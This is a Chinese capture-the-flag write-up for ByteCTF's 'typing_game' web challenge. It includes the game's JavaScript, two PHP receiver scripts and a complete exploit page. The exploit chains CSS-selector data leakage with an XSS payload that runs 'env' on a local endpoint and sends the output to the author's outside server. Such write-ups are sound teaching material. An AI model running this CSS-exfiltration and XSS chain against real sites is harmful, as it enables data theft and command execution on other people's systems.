[ByteCTF]typing_game

摘要

CSS 获取页面信息并发送

XSS:window 对象 open() location.href

页面 JS 通过获取 hashtag 来玩游戏,可以发送 GET 请求去填词

在 color 和 name 有一处 XSS,需要通过在 color 中插入恶意 css 来让 bot 玩游戏,玩通关后才能用 name 打 xss

那怎么实现填词功能呢?查看 game.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
const word = document.getElementById("word");
const text = document.getElementById("text");
const scoreEl = document.getElementById("score");
const timeEl = document.getElementById("time");
const endgameEl = document.getElementById("end-game-container");
// List of words for game
const words = [
"web",
"bytedance",
"ctf",
"sing",
"jump",
"rap",
"basketball",
"hello",
"world",
"fighting",
"flag",
"game",
"happy",
].sort(function () {
return 0.5 - Math.random();
});
let words_l = 0;
let randomWord;
let score = 0;
let time = 26;
text.focus();
const timeInterval = setInterval(updateTime, 1000);
function addWordToDOM() {
randomWord = words[words_l];
words_l++;
word.setAttribute("src", randomWord + ".mp3");
word.innerHTML = randomWord;
}

function updateScore() {
score++;
scoreEl.innerHTML = score;
}
function updateTime() {
time--;
timeEl.innerHTML = time + "s";
if (time === 0 || score >= words.length) {
clearInterval(timeInterval);
word.parentElement.removeChild(word);
gameOver();
}
}
function gameOver() {
if (score >= words.length) {
const params = new URLSearchParams(window.location.search);
const username = params.get("name");
endgameEl.innerHTML = `
<h1>^_^</h1>
Dear ${username},Congratulations on your success.Your final score is ${score}`;
endgameEl.style.display = "flex";
} else {
score = 0;
endgameEl.innerHTML = `
<h1>*_*</h1>
Try again`;
endgameEl.style.display = "flex";
}
}

addWordToDOM();
// Typing
function typing(insertedText) {
if (insertedText === randomWord) {
addWordToDOM();
updateScore();
document.querySelector("#text").value = "";
updateTime();
}
}

text.addEventListener("input", (e) => {
typing(e.target.value);
});
addEventListener("hashchange", (e) => {
typing(location.hash.replace("#", "").split("?")[0]);
});

https://www.w3school.com.cn/cssref/css_selectors.asp 具体可以查看 CSS 的使用教程

MP3 的命名也是根据答案来的,于是乎通过硬编码 [src^=sing]{background:url()} 找到 MP3 文件来带出数据,自己的服务器接收到具体到哪一个字母了,就发送对应的字母到 hashtag 后面去实现填词功能

2.php 接受填的词

1
2
3
4
5
6
7
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
file_put_contents("/tmp/save_word",$word);
}else {
echo file_get_contents("/tmp/save_word");
}

1.php 获取返回的数据

1
2
3
4
5
6
7
<?php
$res=$_GET['res'];
if(isset($res)){
file_put_contents("/tmp/result",$res);
}else{
echo base64_decode(file_get_contents("/tmp/result"));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<img src="https://deelay.me/50000/https://picsum.photos/200/300" /> // 防止
recycle
<script>
XssCommond =
"%3Cimg%20src%3D%22x%22%20onerror%3D%22document%2Ewrite%28%27%3Cimg%20src%3D%5C%27https%5C%2F%5C%2Flin%2Dyz%2F2%2Ephp%3Fword%3Dxss%2Ddone%5C%27%20%2F%3E%27%29%3Bvar%20xhr%3Dnew%20XMLHttpRequest%28%29%3Bxhr%2Eopen%28%27GET%27%2C%27http%3A%5C%2F%5C%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3Denv%27%2Cfalse%29%3Bxhr%2Esend%28null%29%3BsetTimeout%28function%28%29%7Bconsole%2Elog%28xhr%2EresponseText%29%3Bdocument%2Ewrite%28%27%3Cimg%20src%3D%5C%27https%3A%5C%2F%5C%2Flin%2Dyz%2Efun%2F1%2Ephp%3Fres%3D%27%2Bbtoa%28xhr%2EresponseText%29%2B%27%5C%27%20%2F%3E%27%29%3B%7D%2C1000%29%3B%22%20%2F%3E";
// 打远程要写 127.0.0.1:13002
baseurl =
"http:\/\/127.0.0.1:13002/?color=red;}[src^=web]{background:url(https://lin-yz.fun/2.php?word=web);}[src^=bytedance]{background:url(https://lin-yz.fun/2.php?word=bytedance);}[src^=ctf]{background:url(https://lin-yz.fun/2.php?word=ctf);}[src^=sing]{background:url(https://lin-yz.fun/2.php?word=sing);}[src^=jump]{background:url(https://lin-yz.fun/2.php?word=jump);}[src^=rap]{background:url(https://lin-yz.fun/2.php?word=rap);}[src^=basketball]{background:url(https://lin-yz.fun/2.php?word=basketball);}[src^=hello]{background:url(https://lin-yz.fun/2.php?word=hello);}[src^=world]{background:url(https://lin-yz.fun/2.php?word=world);}[src^=fighting]{background:url(https://lin-yz.fun/2.php?word=fighting);}[src^=flag]{background:url(https://lin-yz.fun/2.php?word=flag);}[src^=game]{background:url(https://lin-yz.fun/2.php?word=game);}[src^=happy]{background:url(https://lin-yz.fun/2.php?word=happy);}background-color:blue&name=" +
XssCommond +
"#";

function create_window() {
let w = open(baseurl);
return w;
}

stop = false;
function get_word() {
if (stop) {
return;
} else {
fetch("https://lin-yz.fun/2.php").then((data) =>
data.text().then((x) => {
if (x == "") {
return;
} else {
console.log(x);
if (x == "xss-done") {
stop = true;
return;
} else {
window.vuln_window.location.href = baseurl + x;
}
}
})
);
}
}
setTimeout(function () {
window.vuln_window = create_window();
setInterval(get_word, 200);
}, 200);
//prevent window being recycled
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 1000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 100000);
setTimeout(function () {
console.log(1);
}, 10000);
setTimeout(function () {
console.log(1);
}, 20000);
</script>